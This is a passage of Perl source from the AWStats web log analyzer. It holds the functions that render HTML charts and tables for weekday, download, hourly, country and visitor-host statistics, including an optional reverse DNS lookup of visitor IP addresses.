? $avg_dayofweek_h[$_]
: 0
)
);
$avg_dayofweek_k[$_] = sprintf(
"%.2f",
(
$avg_dayofweek_k[$_] ne '?'
? $avg_dayofweek_k[$_]
: 0
)
);
# Remove decimal part that are .0
if ( $avg_dayofweek_p[$_] == int( $avg_dayofweek_p[$_] ) ) {
$avg_dayofweek_p[$_] = int( $avg_dayofweek_p[$_] );
}
if ( $avg_dayofweek_h[$_] == int( $avg_dayofweek_h[$_] ) ) {
$avg_dayofweek_h[$_] = int( $avg_dayofweek_h[$_] );
}
print "<td valign=\"bottom\">";
if ( $ShowDaysOfWeekStats =~ /P/i ) {
print
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vp'}\" height=\"$bredde_p\" width=\"6\""
. AltTitle("$Message[56]: $avg_dayofweek_p[$_]")
. " />";
}
if ( $ShowDaysOfWeekStats =~ /H/i ) {
print
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vh'}\" height=\"$bredde_h\" width=\"6\""
. AltTitle("$Message[57]: $avg_dayofweek_h[$_]")
. " />";
}
if ( $ShowDaysOfWeekStats =~ /B/i ) {
print
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vk'}\" height=\"$bredde_k\" width=\"6\""
. AltTitle( "$Message[75]: "
. Format_Bytes( $avg_dayofweek_k[$_] ) )
. " />";
}
print "</td>\n";
}
print "</tr>\n";
print "<tr" . Tooltip(17) . ">\n";
for (@DOWIndex) {
print "<td"
. ( $_ =~ /[06]/ ? " bgcolor=\"#$color_weekend\"" : "" )
. ">"
. (
!$StaticLinks
&& $_ == ( $nowwday - 1 )
&& $MonthRequired == $nowmonth
&& $YearRequired == $nowyear
? '<span class="currentday">'
: ''
);
print $Message[ $_ + 84 ];
print( !$StaticLinks
&& $_ == ( $nowwday - 1 )
&& $MonthRequired == $nowmonth
&& $YearRequired == $nowyear ? '</span>' : '' );
print "</td>";
}
print "</tr>\n</table>\n";
}
print "<br />\n";
# Show data array for days of week
if ($AddDataArrayShowDaysOfWeekStats) {
print "<table>\n";
print
"<tr><td width=\"80\" bgcolor=\"#$color_TableBGRowTitle\">$Message[4]</td>";
if ( $ShowDaysOfWeekStats =~ /P/i ) {
print "<td width=\"80\" bgcolor=\"#$color_p\""
. Tooltip(3)
. ">$Message[56]</td>";
}
if ( $ShowDaysOfWeekStats =~ /H/i ) {
print "<td width=\"80\" bgcolor=\"#$color_h\""
. Tooltip(4)
. ">$Message[57]</td>";
}
if ( $ShowDaysOfWeekStats =~ /B/i ) {
print "<td width=\"80\" bgcolor=\"#$color_k\""
. Tooltip(5)
. ">$Message[75]</td></tr>";
}
for (@DOWIndex) {
print "<tr"
. ( $_ =~ /[06]/ ? " bgcolor=\"#$color_weekend\"" : "" )
. ">";
print "<td>"
. (
!$StaticLinks
&& $_ == ( $nowwday - 1 )
&& $MonthRequired == $nowmonth
&& $YearRequired == $nowyear
? '<span class="currentday">'
: ''
);
print $Message[ $_ + 84 ];
print( !$StaticLinks
&& $_ == ( $nowwday - 1 )
&& $MonthRequired == $nowmonth
&& $YearRequired == $nowyear ? '</span>' : '' );
print "</td>";
if ( $ShowDaysOfWeekStats =~ /P/i ) {
print "<td>", Format_Number(int($avg_dayofweek_p[$_])), "</td>";
}
if ( $ShowDaysOfWeekStats =~ /H/i ) {
print "<td>", Format_Number(int($avg_dayofweek_h[$_])), "</td>";
}
if ( $ShowDaysOfWeekStats =~ /B/i ) {
print "<td>", Format_Bytes(int($avg_dayofweek_k[$_])),
"</td>";
}
print "</tr>\n";
}
print "</table>\n<br />\n";
}
print "</center></td>";
print "</tr>\n";
&tab_end();
}
#------------------------------------------------------------------------------
# Function: Prints the Downloads chart and table
# Parameters: -
# Input: $NewLinkParams, $NewLinkTarget
# Output: HTML
# Return: -
#------------------------------------------------------------------------------
sub HTMLMainDownloads{
my $NewLinkParams = shift;
my $NewLinkTarget = shift;
if (!$LevelForFileTypesDetection > 0){return;}
if ($Debug) { debug( "ShowDownloadStats", 2 ); }
my $regext = qr/\.(\w{1,6})$/;
print "$Center<a name=\"downloads\"> </a><br />\n";
my $Totalh = 0;
if ($MaxNbOf{'DownloadsShown'} < 1){$MaxNbOf{'DownloadsShown'} = 10;} # default if undefined
my $title =
"$Message[178] ($Message[77] $MaxNbOf{'DownloadsShown'}) - <a href=\""
. (
$ENV{'GATEWAY_INTERFACE'}
|| !$StaticLinks
? XMLEncode("$AWScript${NewLinkParams}output=downloads")
: "$StaticLinks.downloads.$StaticExt"
)
. "\"$NewLinkTarget>$Message[80]</a>";
if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) {
# extend the title to include the added link
$title = "$title - <a href=\"" . (XMLEncode(
"$AddLinkToExternalCGIWrapper" . "?section=DOWNLOADS&baseName=$DirData/$PROG"
. "&month=$MonthRequired&year=$YearRequired&day=$DayRequired"
. "&siteConfig=$SiteConfig" )
. "\"$NewLinkTarget>$Message[179]</a>");
}
&tab_head( "$title", 0, 0, 'downloads' );
my $cnt=0;
for my $u (sort {$_downloads{$b}->{'AWSTATS_HITS'} <=> $_downloads{$a}->{'AWSTATS_HITS'}}(keys %_downloads) ){
$Totalh += $_downloads{$u}->{'AWSTATS_HITS'};
$cnt++;
if ($cnt > 4){last;}
}
# Graph the top five in a pie chart
if (($Totalh > 0) and (scalar keys %_downloads > 1)){
foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } )
{
my @blocklabel = ();
my @valdata = ();
my @valcolor = ($color_p);
my $cnt = 0;
for my $u (sort {$_downloads{$b}->{'AWSTATS_HITS'} <=> $_downloads{$a}->{'AWSTATS_HITS'}}(keys %_downloads) ){
push @valdata, ($_downloads{$u}->{'AWSTATS_HITS'} / $Totalh * 1000 ) / 10;
push @blocklabel, Get_Filename($u);
$cnt++;
if ($cnt > 4) { last; }
}
my $columns = 2;
if ($ShowDownloadsStats =~ /H/i){$columns += length($ShowDownloadsStats)+1;}
else{$columns += length($ShowDownloadsStats);}
print "<tr><td colspan=\"$columns\">";
my $function = "ShowGraph_$pluginname";
&$function(
"$Message[80]", "downloads",
0, \@blocklabel,
0, \@valcolor,
0, 0,
0, \@valdata
);
print "</td></tr>";
}
}
my $total_dls = scalar keys %_downloads;
print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"2\">$Message[178]: $total_dls</th>";
if ( $ShowDownloadsStats =~ /H/i ){print "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>"
."<th bgcolor=\"#$color_h\" width=\"80\">206 $Message[57]</th>"; }
if ( $ShowDownloadsStats =~ /B/i ){
print "<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>";
print "<th bgcolor=\"#$color_k\" width=\"80\">$Message[106]</th>";
}
print "</tr>\n";
my $count = 0;
for my $u (sort {$_downloads{$b}->{'AWSTATS_HITS'} <=> $_downloads{$a}->{'AWSTATS_HITS'}}(keys %_downloads) ){
print "<tr>";
my $ext = Get_Extension($regext, $u);
if ( !$ext) {
print "<td"
. ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
. "><img src=\"$DirIcons\/mime\/unknown.png\""
. AltTitle("")
. " /></td>";
}
else {
my $nameicon = $MimeHashLib{$ext}[0] || "notavailable";
my $nametype = $MimeHashFamily{$MimeHashLib{$ext}[0]} || " ";
print "<td"
. ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
. "><img src=\"$DirIcons\/mime\/$nameicon.png\""
. AltTitle("")
. " /></td>";
}
print "<td class=\"aws\">";
&HTMLShowURLInfo($u);
print "</td>";
if ( $ShowDownloadsStats =~ /H/i ){
print "<td>".Format_Number($_downloads{$u}->{'AWSTATS_HITS'})."</td>";
print "<td>".Format_Number($_downloads{$u}->{'AWSTATS_206'})."</td>";
}
if ( $ShowDownloadsStats =~ /B/i ){
print "<td>".Format_Bytes($_downloads{$u}->{'AWSTATS_SIZE'})."</td>";
print "<td>".Format_Bytes(($_downloads{$u}->{'AWSTATS_SIZE'}/
($_downloads{$u}->{'AWSTATS_HITS'} + $_downloads{$u}->{'AWSTATS_206'})))."</td>";
}
print "</tr>\n";
$count++;
if ($count >= $MaxNbOf{'DownloadsShown'}){last;}
}
&tab_end();
}
#------------------------------------------------------------------------------
# Function: Prints the hours chart and table
# Parameters: $NewLinkParams, $NewLinkTarget
# Input: -
# Output: HTML
# Return: -
#------------------------------------------------------------------------------
sub HTMLMainHours{
my $NewLinkParams = shift;
my $NewLinkTarget = shift;
if ($Debug) { debug( "ShowHoursStats", 2 ); }
print "$Center<a name=\"hours\"> </a><br />\n";
my $title = "$Message[20]";
if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) {
# extend the title to include the added link
$title = "$title - <a href=\"" . (XMLEncode(
"$AddLinkToExternalCGIWrapper" . "?section=TIME&baseName=$DirData/$PROG"
. "&month=$MonthRequired&year=$YearRequired&day=$DayRequired"
. "&siteConfig=$SiteConfig" )
. "\"$NewLinkTarget>$Message[179]</a>");
}
if ( $PluginsLoaded{'GetTimeZoneTitle'}{'timezone'} ) {
$title .= " (GMT "
. ( GetTimeZoneTitle_timezone() >= 0 ? "+" : "" )
. int( GetTimeZoneTitle_timezone() ) . ")";
}
&tab_head( "$title", 19, 0, 'hours' );
print "<tr><td align=\"center\">\n";
print "<center>\n";
my $max_h = my $max_k = 1;
for ( my $ix = 0 ; $ix <= 23 ; $ix++ ) {
#if ($_time_p[$ix]>$max_p) { $max_p=$_time_p[$ix]; }
if ( $_time_h[$ix] > $max_h ) { $max_h = $_time_h[$ix]; }
if ( $_time_k[$ix] > $max_k ) { $max_k = $_time_k[$ix]; }
}
# Show bars for hour
my $graphdone=0;
foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } )
{
my @blocklabel = ( 0 .. 23 );
my @vallabel =
( "$Message[56]", "$Message[57]", "$Message[75]" );
my @valcolor = ( "$color_p", "$color_h", "$color_k" );
my @valmax = ( int($max_h), int($max_h), int($max_k) );
my @valtotal = ( $TotalPages, $TotalHits, $TotalBytes );
my @valaverage = ( $AveragePages, $AverageHits, $AverageBytes );
my @valdata = ();
my $xx = 0;
for ( 0 .. 23 ) {
$valdata[ $xx++ ] = $_time_p[$_] || 0;
$valdata[ $xx++ ] = $_time_h[$_] || 0;
$valdata[ $xx++ ] = $_time_k[$_] || 0;
}
my $function = "ShowGraph_$pluginname";
&$function(
"$title", "hours",
$ShowHoursStats, \@blocklabel,
\@vallabel, \@valcolor,
\@valmax, \@valtotal,
\@valaverage, \@valdata
);
$graphdone=1;
}
if (! $graphdone)
{
print "<table>\n";
print "<tr valign=\"bottom\">\n";
for ( my $ix = 0 ; $ix <= 23 ; $ix++ ) {
my $bredde_p = 0;
my $bredde_h = 0;
my $bredde_k = 0;
if ( $max_h > 0 ) {
$bredde_p =
int( $BarHeight * $_time_p[$ix] / $max_h ) + 1;
}
if ( $max_h > 0 ) {
$bredde_h =
int( $BarHeight * $_time_h[$ix] / $max_h ) + 1;
}
if ( $max_k > 0 ) {
$bredde_k =
int( $BarHeight * $_time_k[$ix] / $max_k ) + 1;
}
print "<td>";
if ( $ShowHoursStats =~ /P/i ) {
print
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vp'}\" height=\"$bredde_p\" width=\"6\""
. AltTitle( "$Message[56]: " . int( $_time_p[$ix] ) )
. " />";
}
if ( $ShowHoursStats =~ /H/i ) {
print
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vh'}\" height=\"$bredde_h\" width=\"6\""
. AltTitle( "$Message[57]: " . int( $_time_h[$ix] ) )
. " />";
}
if ( $ShowHoursStats =~ /B/i ) {
print
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vk'}\" height=\"$bredde_k\" width=\"6\""
. AltTitle(
"$Message[75]: " . Format_Bytes( $_time_k[$ix] ) )
. " />";
}
print "</td>\n";
}
print "</tr>\n";
# Show hour lib
print "<tr" . Tooltip(17) . ">";
for ( my $ix = 0 ; $ix <= 23 ; $ix++ ) {
print "<th width=\"19\">$ix</th>\n"
; # width=19 instead of 18 to avoid a MacOS browser bug.
}
print "</tr>\n";
# Show clock icon
print "<tr" . Tooltip(17) . ">\n";
for ( my $ix = 0 ; $ix <= 23 ; $ix++ ) {
my $hrs = ( $ix >= 12 ? $ix - 12 : $ix );
my $hre = ( $ix >= 12 ? $ix - 11 : $ix + 1 );
my $apm = ( $ix >= 12 ? "pm" : "am" );
print
"<td><img src=\"$DirIcons\/clock\/hr$hre.png\" width=\"12\" alt=\"$hrs:00 - $hre:00 $apm\" /></td>\n";
}
print "</tr>\n";
print "</table>\n";
}
print "<br />\n";
# Show data array for hours
if ($AddDataArrayShowHoursStats) {
print "<table width=\"650\"><tr>\n";
print "<td align=\"center\"><center>\n";
print "<table>\n";
print
"<tr><td width=\"80\" bgcolor=\"#$color_TableBGRowTitle\">$Message[20]</td>";
if ( $ShowHoursStats =~ /P/i ) {
print "<td width=\"80\" bgcolor=\"#$color_p\""
. Tooltip(3)
. ">$Message[56]</td>";
}
if ( $ShowHoursStats =~ /H/i ) {
print "<td width=\"80\" bgcolor=\"#$color_h\""
. Tooltip(4)
. ">$Message[57]</td>";
}
if ( $ShowHoursStats =~ /B/i ) {
print "<td width=\"80\" bgcolor=\"#$color_k\""
. Tooltip(5)
. ">$Message[75]</td>";
}
print "</tr>";
for ( my $ix = 0 ; $ix <= 11 ; $ix++ ) {
my $monthix = ( $ix < 10 ? "0$ix" : "$ix" );
print "<tr>";
print "<td>$monthix</td>";
if ( $ShowHoursStats =~ /P/i ) {
print "<td>",
Format_Number($_time_p[$monthix] ? $_time_p[$monthix] : "0"),
"</td>";
}
if ( $ShowHoursStats =~ /H/i ) {
print "<td>",
Format_Number($_time_h[$monthix] ? $_time_h[$monthix] : "0"),
"</td>";
}
if ( $ShowHoursStats =~ /B/i ) {
print "<td>", Format_Bytes( int( $_time_k[$monthix] ) ),
"</td>";
}
print "</tr>\n";
}
print "</table>\n";
print "</center></td>";
print "<td width=\"10\"> </td>";
print "<td align=\"center\"><center>\n";
print "<table>\n";
print
"<tr><td width=\"80\" bgcolor=\"#$color_TableBGRowTitle\">$Message[20]</td>";
if ( $ShowHoursStats =~ /P/i ) {
print "<td width=\"80\" bgcolor=\"#$color_p\""
. Tooltip(3)
. ">$Message[56]</td>";
}
if ( $ShowHoursStats =~ /H/i ) {
print "<td width=\"80\" bgcolor=\"#$color_h\""
. Tooltip(4)
. ">$Message[57]</td>";
}
if ( $ShowHoursStats =~ /B/i ) {
print "<td width=\"80\" bgcolor=\"#$color_k\""
. Tooltip(5)
. ">$Message[75]</td>";
}
print "</tr>\n";
for ( my $ix = 12 ; $ix <= 23 ; $ix++ ) {
my $monthix = ( $ix < 10 ? "0$ix" : "$ix" );
print "<tr>";
print "<td>$monthix</td>";
if ( $ShowHoursStats =~ /P/i ) {
print "<td>",
Format_Number($_time_p[$monthix] ? $_time_p[$monthix] : "0"),
"</td>";
}
if ( $ShowHoursStats =~ /H/i ) {
print "<td>",
Format_Number($_time_h[$monthix] ? $_time_h[$monthix] : "0"),
"</td>";
}
if ( $ShowHoursStats =~ /B/i ) {
print "<td>", Format_Bytes( int( $_time_k[$monthix] ) ),
"</td>";
}
print "</tr>\n";
}
print "</table>\n";
print "</center></td></tr></table>\n";
print "<br />\n";
}
print "</center></td></tr>\n";
&tab_end();
}
#------------------------------------------------------------------------------
# Function: Prints the countries chart and table
# Parameters: $NewLinkParams, $NewLinkTarget
# Input: -
# Output: HTML
# Return: -
#------------------------------------------------------------------------------
sub HTMLMainCountries{
my $NewLinkParams = shift;
my $NewLinkTarget = shift;
if ($Debug) { debug( "ShowDomainsStats", 2 ); }
print "$Center<a name=\"countries\"> </a><br />\n";
my $title =
"$Message[25] ($Message[77] $MaxNbOf{'Domain'}) - <a href=\""
. (
$ENV{'GATEWAY_INTERFACE'}
|| !$StaticLinks
? XMLEncode("$AWScript${NewLinkParams}output=alldomains")
: "$StaticLinks.alldomains.$StaticExt"
)
. "\"$NewLinkTarget>$Message[80]</a>";
if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) {
# extend the title to include the added link
$title = "$title - <a href=\"" . (XMLEncode(
"$AddLinkToExternalCGIWrapper" . "?section=DOMAIN&baseName=$DirData/$PROG"
. "&month=$MonthRequired&year=$YearRequired&day=$DayRequired"
. "&siteConfig=$SiteConfig" )
. "\"$NewLinkTarget>$Message[179]</a>");
}
&tab_head( "$title", 19, 0, 'countries' );
my $total_u = my $total_v = my $total_p = my $total_h = my $total_k = 0;
my $max_h = 1;
foreach ( values %_domener_h ) {
if ( $_ > $max_h ) { $max_h = $_; }
}
my $max_k = 1;
foreach ( values %_domener_k ) {
if ( $_ > $max_k ) { $max_k = $_; }
}
my $count = 0;
&BuildKeyList(
$MaxNbOf{'Domain'}, $MinHit{'Domain'},
\%_domener_h, \%_domener_p
);
# print the map
if (scalar @keylist > 1){
foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } )
{
my @blocklabel = ();
my @valdata = ();
my $cnt = 0;
foreach my $key (@keylist) {
push @valdata, int( $_domener_h{$key} );
push @blocklabel, $DomainsHashIDLib{$key};
$cnt++;
if ($cnt > 99) { last; }
}
print "<tr><td colspan=\"7\" align=\"center\">";
my $function = "ShowGraph_$pluginname";
&$function(
"AWStatsCountryMap", "countries_map",
0, \@blocklabel,
0, 0,
0, 0,
0, \@valdata
);
print "</td></tr>";
}
}
print
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th width=\"$WIDTHCOLICON\"> </th><th colspan=\"2\">$Message[17]</th>";
## to add unique visitors and number of visits by calculation of average of the relation with total
## pages and total hits, and total visits and total unique
## by Josep Ruano @ CAPSiDE
if ( $ShowDomainsStats =~ /U/i ) {
print "<th bgcolor=\"#$color_u\" width=\"80\""
. Tooltip(2)
. ">$Message[11]</th>";
}
if ( $ShowDomainsStats =~ /V/i ) {
print "<th bgcolor=\"#$color_v\" width=\"80\""
. Tooltip(1)
. ">$Message[10]</th>";
}
if ( $ShowDomainsStats =~ /P/i ) {
print "<th bgcolor=\"#$color_p\" width=\"80\""
. Tooltip(3)
. ">$Message[56]</th>";
}
if ( $ShowDomainsStats =~ /H/i ) {
print "<th bgcolor=\"#$color_h\" width=\"80\""
. Tooltip(4)
. ">$Message[57]</th>";
}
if ( $ShowDomainsStats =~ /B/i ) {
print "<th bgcolor=\"#$color_k\" width=\"80\""
. Tooltip(5)
. ">$Message[75]</th>";
}
print "<th> </th>";
print "</tr>\n";
foreach my $key (@keylist) {
my ( $_domener_u, $_domener_v );
my $bredde_p = 0;
my $bredde_h = 0;
my $bredde_k = 0;
my $bredde_u = 0;
my $bredde_v = 0;
if ( $max_h > 0 ) {
$bredde_p =
int( $BarWidth * $_domener_p{$key} / $max_h ) + 1;
} # use max_h to enable to compare pages with hits
if ( $_domener_p{$key} && $bredde_p == 1 ) { $bredde_p = 2; }
if ( $max_h > 0 ) {
$bredde_h =
int( $BarWidth * $_domener_h{$key} / $max_h ) + 1;
}
if ( $_domener_h{$key} && $bredde_h == 1 ) { $bredde_h = 2; }
if ( $max_k > 0 ) {
$bredde_k =
int( $BarWidth * ( $_domener_k{$key} || 0 ) / $max_k ) +
1;
}
if ( $_domener_k{$key} && $bredde_k == 1 ) { $bredde_k = 2; }
my $newkey = lc($key);
if ( $newkey eq 'ip' || !$DomainsHashIDLib{$newkey} ) {
print
"<tr><td width=\"$WIDTHCOLICON\"><img src=\"$DirIcons\/flags\/ip.png\" height=\"14\""
. AltTitle("$Message[0]")
. " /></td><td class=\"aws\">$Message[0]</td><td>$newkey</td>";
}
else {
print
"<tr><td width=\"$WIDTHCOLICON\"><img src=\"$DirIcons\/flags\/$newkey.png\" height=\"14\""
. AltTitle("$newkey")
. " /></td><td class=\"aws\">$DomainsHashIDLib{$newkey}</td><td>$newkey</td>";
}
## to add unique visitors and number of visits, by Josep Ruano @ CAPSiDE
if ( $ShowDomainsStats =~ /U/i ) {
$_domener_u = (
$_domener_p{$key}
? $_domener_p{$key} / $TotalPages
: 0
);
$_domener_u += ( $_domener_h{$key} / $TotalHits );
$_domener_u =
sprintf( "%.0f", ( $_domener_u * $TotalUnique ) / 2 );
print "<td>".Format_Number($_domener_u)." ("
. sprintf( "%.1f%", 100 * $_domener_u / $TotalUnique )
. ")</td>";
}
if ( $ShowDomainsStats =~ /V/i ) {
$_domener_v = (
$_domener_p{$key}
? $_domener_p{$key} / $TotalPages
: 0
);
$_domener_v += ( $_domener_h{$key} / $TotalHits );
$_domener_v =
sprintf( "%.0f", ( $_domener_v * $TotalVisits ) / 2 );
print "<td>".Format_Number($_domener_v)." ("
. sprintf( "%.1f%", 100 * $_domener_v / $TotalVisits )
. ")</td>";
}
if ( $ShowDomainsStats =~ /P/i ) {
print "<td>"
. ( $_domener_p{$key} ? Format_Number($_domener_p{$key}) : ' ' )
. "</td>";
}
if ( $ShowDomainsStats =~ /H/i ) {
print "<td>".Format_Number($_domener_h{$key})."</td>";
}
if ( $ShowDomainsStats =~ /B/i ) {
print "<td>" . Format_Bytes( $_domener_k{$key} ) . "</td>";
}
print "<td class=\"aws\">";
if ( $ShowDomainsStats =~ /P/i ) {
print
"<img src=\"$DirIcons\/other\/$BarPng{'hp'}\" width=\"$bredde_p\" height=\"5\""
. AltTitle("")
. " /><br />\n";
}
if ( $ShowDomainsStats =~ /H/i ) {
print
"<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_h\" height=\"5\""
. AltTitle("")
. " /><br />\n";
}
if ( $ShowDomainsStats =~ /B/i ) {
print
"<img src=\"$DirIcons\/other\/$BarPng{'hk'}\" width=\"$bredde_k\" height=\"5\""
. AltTitle("") . " />";
}
print "</td>";
print "</tr>\n";
$total_u += $_domener_u;
$total_v += $_domener_v;
$total_p += $_domener_p{$key};
$total_h += $_domener_h{$key};
$total_k += $_domener_k{$key} || 0;
$count++;
}
my $rest_u = $TotalUnique - $total_u;
my $rest_v = $TotalVisits - $total_v;
my $rest_p = $TotalPages - $total_p;
my $rest_h = $TotalHits - $total_h;
my $rest_k = $TotalBytes - $total_k;
if ( $rest_u > 0
|| $rest_v > 0
|| $rest_p > 0
|| $rest_h > 0
|| $rest_k > 0 )
{ # All other domains (known or not)
print
"<tr><td width=\"$WIDTHCOLICON\"> </td><td colspan=\"2\" class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
if ( $ShowDomainsStats =~ /U/i ) { print "<td>$rest_u</td>"; }
if ( $ShowDomainsStats =~ /V/i ) { print "<td>$rest_v</td>"; }
if ( $ShowDomainsStats =~ /P/i ) { print "<td>$rest_p</td>"; }
if ( $ShowDomainsStats =~ /H/i ) { print "<td>$rest_h</td>"; }
if ( $ShowDomainsStats =~ /B/i ) {
print "<td>" . Format_Bytes($rest_k) . "</td>";
}
print "<td class=\"aws\"> </td>";
print "</tr>\n";
}
&tab_end();
}
#------------------------------------------------------------------------------
# Function: Prints the hosts chart and table
# Parameters: $NewLinkParams, $NewLinkTarget
# Input: -
# Output: HTML
# Return: -
#------------------------------------------------------------------------------
sub HTMLMainHosts{
my $NewLinkParams = shift;
my $NewLinkTarget = shift;
if ($Debug) { debug( "ShowHostsStats", 2 ); }
print "$Center<a name=\"visitors\"> </a><br />\n";
my $title =
"$Message[81] ($Message[77] $MaxNbOf{'HostsShown'}) - <a href=\""
. (
$ENV{'GATEWAY_INTERFACE'}
|| !$StaticLinks
? XMLEncode("$AWScript${NewLinkParams}output=allhosts")
: "$StaticLinks.allhosts.$StaticExt"
)
. "\"$NewLinkTarget>$Message[80]</a> - <a href=\""
. (
$ENV{'GATEWAY_INTERFACE'}
|| !$StaticLinks
? XMLEncode("$AWScript${NewLinkParams}output=lasthosts")
: "$StaticLinks.lasthosts.$StaticExt"
)
. "\"$NewLinkTarget>$Message[9]</a> - <a href=\""
. (
$ENV{'GATEWAY_INTERFACE'}
|| !$StaticLinks
? XMLEncode("$AWScript${NewLinkParams}output=unknownip")
: "$StaticLinks.unknownip.$StaticExt"
)
. "\"$NewLinkTarget>$Message[45]</a>";
if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) {
# extend the title to include the added link
$title = "$title - <a href=\"" . (XMLEncode(
"$AddLinkToExternalCGIWrapper" . "?section=VISITOR&baseName=$DirData/$PROG"
. "&month=$MonthRequired&year=$YearRequired&day=$DayRequired"
. "&siteConfig=$SiteConfig" )
. "\"$NewLinkTarget>$Message[179]</a>");
}
&tab_head( "$title", 19, 0, 'visitors' );
&BuildKeyList( $MaxNbOf{'HostsShown'}, $MinHit{'Host'}, \%_host_h,
\%_host_p );
# Graph the top five in a pie chart
if (scalar @keylist > 1){
foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } )
{
my @blocklabel = ();
my @valdata = ();
my @valcolor = ($color_p);
my $cnt = 0;
my $suma = 0;
foreach my $key (@keylist) {
$suma=$suma + ( $_host_h{$key});
$cnt++;
if ($cnt > 4) { last; }
}
my $cnt = 0;
foreach my $key (@keylist) {
push @valdata, int( $_host_h{$key} / $suma * 1000 ) / 10;
push @blocklabel, "$key";
$cnt++;
if ($cnt > 4) { last; }
}
print "<tr><td colspan=\"7\">";
my $function = "ShowGraph_$pluginname";
&$function(
"Hosts", "hosts",
0, \@blocklabel,
0, \@valcolor,
0, 0,
0, \@valdata
);
print "</td></tr>";
}
}
print "<tr bgcolor=\"#$color_TableBGRowTitle\">";
print "<th>";
if ( $MonthRequired ne 'all' ) {
print
"$Message[81] : ".Format_Number($TotalHostsKnown)." $Message[82], ".Format_Number($TotalHostsUnknown)." $Message[1]<br />".Format_Number($TotalUnique)." $Message[11]</th>";
}
else {
print "$Message[81] : " . ( scalar keys %_host_h ) . "</th>";
}
&HTMLShowHostInfo('__title__');
if ( $ShowHostsStats =~ /P/i ) {
print "<th bgcolor=\"#$color_p\" width=\"80\""
. Tooltip(3)
. ">$Message[56]</th>";
}
if ( $ShowHostsStats =~ /H/i ) {
print "<th bgcolor=\"#$color_h\" width=\"80\""
. Tooltip(4)
. ">$Message[57]</th>";
}
if ( $ShowHostsStats =~ /B/i ) {
print "<th bgcolor=\"#$color_k\" width=\"80\""
. Tooltip(5)
. ">$Message[75]</th>";
}
if ( $ShowHostsStats =~ /L/i ) {
print "<th width=\"120\">$Message[9]</th>";
}
print "</tr>\n";
my $total_p = my $total_h = my $total_k = 0;
my $count = 0;
my $regipv4 = qr/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/;
if ( $DynamicDNSLookup == 2 ) {
# Use static DNS file
&Read_DNS_Cache( \%MyDNSTable, "$DNSStaticCacheFile", "", 1 );
}
foreach my $key (@keylist) {
print "<tr>";
print "<td class=\"aws\">$key";
if ($DynamicDNSLookup) {
# Dynamic reverse DNS lookup
if ($key =~ /$regipv4/o) {
my $lookupresult=lc(gethostbyaddr(pack("C4",split(/\./,$key)),AF_INET)); # This may be slow
if (! $lookupresult || $lookupresult =~ /$regipv4/o || ! IsAscii($lookupresult)) {
if ( $DynamicDNSLookup == 2 ) {
# Check static DNS file
$lookupresult = $MyDNSTable{$key};
if ($lookupresult) { print " ($lookupresult)"; }
else { print ""; }
}
else { print ""; }
}
else { print " ($lookupresult)"; }
}
}
print "</td>";
&HTMLShowHostInfo($key);
if ( $ShowHostsStats =~ /P/i ) {
print '<td>' . ( Format_Number($_host_p{$key}) || " " ) . '</td>';
}
if ( $ShowHostsStats =~ /H/i ) {
print "<td>".Format_Number($_host_h{$key})."</td>";
}
if ( $ShowHostsStats =~ /B/i ) {
print '<td>' . Format_Bytes( $_host_k{$key} ) . '</td>';
}
if ( $ShowHostsStats =~ /L/i ) {
print '<td nowrap="nowrap">'
. (
$_host_l{$key}
? Format_Date( $_host_l{$key}, 1 )
: '-'
)
. '</td>';
}
print "</tr>\n";
$total_p += $_host_p{$key};
$total_h += $_host_h{$key};
$total_k += $_host_k{$key} || 0;
$count++;
}
my $rest_p = $TotalPages - $total_p;
my $rest_h = $TotalHits - $total_h;
my $rest_k = $TotalBytes - $total_k;
if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 )
{ # All other visitors (known or not)
print "<tr>";
print
"<td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
&HTMLShowHostInfo('');
if ( $ShowHostsStats =~ /P/i ) { print "<td>".Format_Number($rest_p)."</td>"; }
if ( $ShowHostsStats =~ /H/i ) { print "<td>".Format_Number($rest_h)."</td>"; }
if ( $ShowHostsStats =~ /B/i ) {
print "<td>" . Format_Bytes($rest_k) . "</td>";
}
if ( $ShowHostsStats =~ /L/i ) { print "<td> </td>"; }
print "</tr>\n";
}
&tab_end();
}
#------------------------------------------------------------------------------
# Function: Prints the logins chart and table
# Parameters: $NewLinkParams, $NewLinkTarget
# Input: -
# Output: HTML
# Return: -
#------------------------------------------------------------------------------
sub HTMLMainLogins{
my $NewLinkParams = shift;
my $NewLinkTarget = shift;
if ($Debug) { debug( "ShowAuthenticatedUsers", 2 ); }
print "$Center<a name=\"logins\"> </a><br />\n";
my $title =
"$Message[94] ($Message[77] $MaxNbOf{'LoginShown'}) - <a href=\""
. (
$ENV{'GATEWAY_INTERFACE'}
|| !$StaticLinks
? XMLEncode("$AWScript${NewLinkParams}output=alllogins")
: "$StaticLinks.alllogins.$StaticExt"
)
. "\"$NewLinkTarget>$Message[80]</a>";
if ( $ShowAuthenticatedUsers =~ /L/i ) {
$title .= " - <a href=\""
. (
$ENV{'GATEWAY_INTERFACE'}
|| !$StaticLinks
